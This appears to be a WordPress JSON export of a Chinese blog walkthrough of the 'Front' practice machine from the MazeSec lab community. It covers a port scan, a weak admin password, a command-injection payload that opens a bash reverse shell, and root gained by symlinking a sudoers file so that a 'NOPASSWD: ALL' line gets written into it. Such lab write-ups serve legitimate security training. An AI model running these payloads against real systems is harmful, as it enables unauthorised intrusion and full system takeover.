{"id":466,"date":"2026-09-10T19:32:18","date_gmt":"2026-09-10T11:32:18","guid":{"rendered":"https:\/\/blog.lmoon.cn\/?p=466"},"modified":"2026-09-10T19:32:24","modified_gmt":"2026-09-10T11:32:24","slug":"mazesec-homehttps-maze-sec-com-front%e9%9d%b6%e6%9c%ba%e5%a4%8d%e7%8e%b0","status":"publish","type":"post","link":"https:\/\/blog.lmoon.cn\/index.php\/2026\/09\/10\/mazesec-homehttps-maze-sec-com-front%e9%9d%b6%e6%9c%ba%e5%a4%8d%e7%8e%b0\/","title":{"rendered":"[[MazeSec | Home](https:\/\/maze-sec.com\/)] front\u9776\u673a\u590d\u73b0"},"content":{"rendered":"\n

[MazeSec | Home<\/a>] front\u9776\u673a\u590d\u73b0<\/h1>\n\n\n\n

\u793e\u533a [MazeSec | Home<\/a>] \u793e\u533a\u7fa4 321948805<\/p>\n\n\n\n

\u9776\u673a\uff1aFront\n\u4f5c\u8005\uff1a\u7fa4\u4e3b\n\u9776\u673aID: 739\n\u7cfb\u7edf\uff1aLinux\n\u96be\u5ea6\uff1aEasy<\/code><\/pre>\n\n\n\n
\u4fe1\u606f\u641c\u96c6<\/h2>\n\n\n\n
ip:192.168.56.13<\/code><\/pre>\n\n\n\n
\u4f7f\u7528nmap\u626b\u63cf\u67e5\u770b\u5f00\u653e\u7684\u7aef\u53e3<\/p>\n\n\n\n
nmap -sV -p- 192.168.56.13<\/code><\/pre>\n\n\n\n
\"image-20260910183655893\"\/<\/div><\/figure>\n\n\n\n
us\u200b\u200ber<\/h2>\n\n\n\n
\u5f97\u5230\u4e09\u4e2a\u5f00\u653e\u7684\u7aef\u53e3\uff0c\u7136\u540e\u8bbf\u95ee8080\u7aef\u53e3\uff0c\u5f97\u5230\u5982\u4e0b<\/p>\n\n\n\n
\"image-20260910183746234\"\/<\/div><\/figure>\n\n\n\n
\u6ce8\u518c\u8d26\u53f7<\/p>\n\n\n\n
\u7528\u6237\u540d1\n\u5bc6\u78011<\/code><\/pre>\n\n\n\n
\"image-20260910183828451\"\/<\/div><\/figure>\n\n\n\n
\u53ef\u4ee5\u53d1\u73b0\u5728\u961f\u5217\u7684\u7b2c\u4e00\u4e2a\u7684\u7528\u6237\u540d\u662fadmin\uff0c\u7136\u540e\u63a5\u4e0b\u6765\u7684\u601d\u8def\u5c31\u662f\u5c1d\u8bd5\u8fdb\u884c\u5f31\u53e3\u4ee4\u7206\u7834\u67e5\u770b\u662f\u5426\u53ef\u4ee5\u8fdb\u884c\u767b\u5f55\u8fdb\u53bb\uff0c\u7136\u540e\u5f97\u5230admin123\u7684\u56de\u663e\u4e0d\u662f\u8d26\u53f7\u5bc6\u7801\u9519\u8bef\uff0c\u6240\u4ee5\u5f97\u5230\u5176\u5bc6\u7801<\/p>\n\n\n\n
\"image-20260910184707423\"\/<\/div><\/figure>\n\n\n\n
\u7136\u540e\u767b\u5f55\u8fdb\u53bb\uff0c\u53d1\u73b0\u6709\u4e00\u4e2a\u6743\u9650\u7533\u8bf7\u9875\u9762\u8fdb\u5165\uff0c\u5f97\u5230\u4e00\u4e2aping\u7684\u9875\u9762\uff0c\u5c1d\u8bd5\u4e4b\u540e\u53d1\u73b0\u53ef\u4ee5\u8fdb\u884c\u547d\u4ee4\u7ec4\u5408\u6267\u884c<\/p>\n\n\n\n
\"image-20260910184856937\"\/<\/div><\/figure>\n\n\n\n
\u7136\u540e\u5bf9\u5176\u8fdb\u884c\u5c1d\u8bd5\u53cd\u5f39shell\uff0c\u65b9\u4fbf\u540e\u7eed\u7684\u5206\u6790<\/p>\n\n\n\n
127.0.0.1;bash -c 'bash -i >& \/dev\/tcp\/192.168.56.11\/4444 0>&1'<\/code><\/pre>\n\n\n\n
\u53cd\u5f39\u6210\u529f\u83b7\u53d6us\u200b\u200ber.txt\u91cc\u9762\u7684userflag<\/p>\n\n\n\n
\"image-20260910190831338\"\/<\/div><\/figure>\n\n\n\n
root<\/h2>\n\n\n\n
\u67e5\u770b\u4e00\u4e0b\u5f53\u524d\u6743\u9650\u6709\u6ca1\u6709\u514d\u5bc6\u7684\u63d0\u793a\uff0c\u5f97\u5230<\/p>\n\n\n\n
sudo -l<\/code><\/pre>\n\n\n\n
\"image-20260910190948405\"\/<\/div><\/figure>\n\n\n\n
\u200b\u200b(root) NOPASSWD: \/usr\/bin\/back<\/code><\/pre>\n\n\n\n
\u4e0a\u9762\u7684ALL\u662f\u6211\u590d\u73b0\u7684\u7ed3\u679c\uff0c\u6e90\u9776\u673a\u91cc\u9762\u6ca1\u6709\uff0c\u7136\u540e\u8fd0\u884c\/usr\/bin\/back\u5f97\u5230\u4e00\u4e9b\u7528\u6cd5<\/p>\n\n\n\n
\"image-20260910191059907\"\/<\/div><\/figure>\n\n\n\n
\u7531\u4e8e\u524d\u4e0a\u4e00\u6b21\u7684\u9776\u673a\u4e2d\u4e5f\u6709\u7c7b\u4f3c\u7684\u601d\u8def\u5c31\u662f\u5229\u7528\u8f6f\u94fe\u63a5\u5c06\u6743\u9650\u5199\u5165\/etc\/sudoers.d\/pms\u91cc\u9762\u7136\u540e\u8fdb\u884c\u5168\u7528\u6237\u65e0\u5bc6\u7801\u72b6\u6001<\/p>\n\n\n\n
\u5148\u8fdb\u884cadd\u6dfb\u52a0\u6211\u4eec\u7684\u6307\u4ee4<\/p>\n\n\n\n
n\\nALL ALL=\u200b\u200b(ALL) NOPASSWD: ALL<\/code><\/pre>\n\n\n\n
\u8fd9\u91cc\u7684\u6362\u884c\u7b26\u53ef\u4ee5\u88ab\u8fdb\u884c\u89e3\u6790\u7136\u540e\u7ed3\u679c\u5c31\u662f\u4f7fn\\nALL ALL=\u200b\u200b(ALL) NOPASSWD: ALL\u5355\u72ec\u4e00\u884c\u4f7f\u5176\u547d\u4ee4\u53ef\u4ee5\u751f\u6548<\/p>\n\n\n\n
\u63a5\u4e0b\u6765\u5c31\u662f\u5bf9\u5176\u8fdb\u884c\u8f6f\u94fe\u63a5\u5bfc\u5165\uff0c\u521b\u5efa\u8f6f\u8fde\u63a5\u7684\u6587\u4ef6\u5fc5\u987b\u4e0d\u5b58\u5728\u5426\u5219\u65e0\u6cd5\u8fdb\u884c\u521b\u5efa<\/p>\n\n\n\n
ln -s \/etc\/sudoers.d\/pms \/home\/s3cti0n\/c.log<\/code><\/pre>\n\n\n\n
\u7136\u540e\u5c06\u8bb0\u5f55\u5bfc\u51fa\u5230\/home\/s3cti0n\/c.log\u4e2d<\/p>\n\n\n\n
back export#\/home\/s3cti0n\/c.log<\/code><\/pre>\n\n\n\n
\u7136\u540e\u673a\u4f1a\u5f97\u5230<\/p>\n\n\n\n
\u200b\u200b(ALL) NOPASSWD: ALL<\/code><\/pre>\n\n\n\n
\"image-20260910192415757\"\/<\/div><\/figure>\n\n\n\n
\u7136\u540e\u8fdb\u5165shell\uff0c\u67e5\u770bfl\u200b\u200bag<\/p>\n\n\n\n
sudo -i<\/code><\/pre>\n\n\n\n
\"image-20260910192632636\"\/<\/div><\/figure>\n","protected":false},"excerpt":{"rendered":"
[MazeSec | Home] front\u9776\u673a\u590d\u73b0 \u793e\u533a [MazeSec | Home] \u793e\u533a\u7fa4 3219 […]<\/p>\n","protected":false},"author":1,"featured_media":378,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-466","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-learn"],"_links":{"self":[{"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/posts\/466","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/comments?post=466"}],"version-history":[{"count":2,"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/posts\/466\/revisions"}],"predecessor-version":[{"id":468,"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/posts\/466\/revisions\/468"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/media\/378"}],"wp:attachment":[{"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/media?parent=466"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/categories?post=466"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.lmoon.cn\/index.php\/wp-json\/wp\/v2\/tags?post=466"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}